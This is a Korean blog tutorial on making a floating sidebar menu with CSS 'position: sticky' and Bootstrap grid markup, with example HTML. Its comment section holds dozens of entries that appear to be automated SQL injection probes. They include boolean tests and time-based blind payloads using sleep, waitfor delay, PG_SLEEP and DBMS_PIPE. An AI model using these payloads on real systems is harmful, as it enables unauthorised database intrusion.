Html,Css,JavaScript
Position: sticky 를 이용해 자바스크립트 없이 플로팅 메뉴 만들기
Nov. 9, 2021, 11:53 p.m.
블로그나 쇼핑몰 사이트를 들어보면 측면에 카테고리나 검색창등이 있는 메뉴를 볼 수 있습니다. 이 메뉴들은 스크롤을 내려도 따라서 내려오면서 언제든 클릭할 수 있게 구현이 되어있는데요, 이번 포스팅에서는 이 기능을 아주 간단하게 구현하는 방법을 알아보겠습니다.
보통 이 플로팅 메뉴는 자바스크립트로 많이 구현하는데요, 단순히 style을 이용해서도 구현할 수 있습니다.
바로 Position: sticky; 속성을 이용하면 됩니다. 이 속성을 이용하면 해당 엘리먼트는 스크롤을 내려도 항상 그 위치에 고정됩니다. 그럼 아래와 같이 만들면 간단한 플로팅 메뉴를 구현할 수 있겠네요!
<div class="quickmenu" style="position: sticky; top:80px;">
<div class="card my-4">
<h5 class="card-header">Search</h5>
<div class="card-body">
<div class="input-group">
<input type="text" class="form-control" placeholder="Search for..." id="search-input">
<span class="input-group-btn">
<button class="btn btn-dark" type="button" onclick="searchPost();">Go!</button>
</span>
</div>
</div>
</div>
</div>
제 블로그의 검색 메뉴 코드입니다. Bootstrap4로 디자인되었습니다!
top:80px;를 통해 맨 위에 navbar같은 요소들과 겹치지 않게 했습니다. 또한 이런 플로팅 메뉴들은 측면에 위치하고 있으므로 이 div 전체를 새로운 div로 감싸서 위치를 조정하면 됩니다. Bootstrap의 그리드를 이용하면 쉽게 할 수 있습니다.
<div class="container my-3" >
<div class="row">
<div class="col-md-8 col-lg-9">
(메인 콘텐츠 div)
</div>
<div class="col-md-4 col-lg-3">
(플로팅 메뉴 div)
</div>
</div>
</div>
부트스트랩을 이용하면 쉽게 플로팅 메뉴를 측면으로 보낼 수 있답니다. (플로팅 메뉴 div)라고 쓰여진 부분에 앞에 나온 플로팅 메뉴 div를 넣어주세요!
이렇게 구현한 결과는 바로 오른쪽 제 블로그 플로팅 메뉴에서 확인해 볼 수 있답니다.(모바일은 맨 아래)
Html Css Bootstrap
Html,Css,JavaScript 의 다른 글 보기
pHqghUme
555
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555
Jan. 22, 2025, 7:55 a.m.
pHqghUme
-1 OR 2+718-718-1=0+0+0+1 --
Jan. 22, 2025, 7:55 a.m.
pHqghUme
-1 OR 2+891-891-1=0+0+0+1
Jan. 22, 2025, 7:55 a.m.
pHqghUme
-1' OR 2+860-860-1=0+0+0+1 --
Jan. 22, 2025, 7:55 a.m.
pHqghUme
-1' OR 2+812-812-1=0+0+0+1 or 'LO3OFiXM'='
Jan. 22, 2025, 7:55 a.m.
pHqghUme
-1" OR 2+23-23-1=0+0+0+1 --
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555*if(now()=sysdate(),sleep(15),0)
Jan. 22, 2025, 7:55 a.m.
pHqghUme
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
Jan. 22, 2025, 7:55 a.m.
pHqghUme
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
Jan. 22, 2025, 7:55 a.m.
pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555-1; waitfor delay '0:0:15' --
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555-1); waitfor delay '0:0:15' --
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555-1 waitfor delay '0:0:15' --
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555TCmOIfjP'; waitfor delay '0:0:15' --
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555-1 OR 461=(SELECT 461 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555-1) OR 751=(SELECT 751 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555-1)) OR 835=(SELECT 835 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555RdHgjQgH' OR 429=(SELECT 429 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:55 a.m.
pHqghUme
55547nAJHI9') OR 576=(SELECT 576 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555LFdoW6uY')) OR 611=(SELECT 611 FROM PG_SLEEP(15))--
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555'"
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555����%2527%2522\'\"
Jan. 22, 2025, 7:55 a.m.
pHqghUme
@@rrTES
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555
Jan. 22, 2025, 7:55 a.m.
pHqghUme
555
Jan. 22, 2025, 7:55 a.m.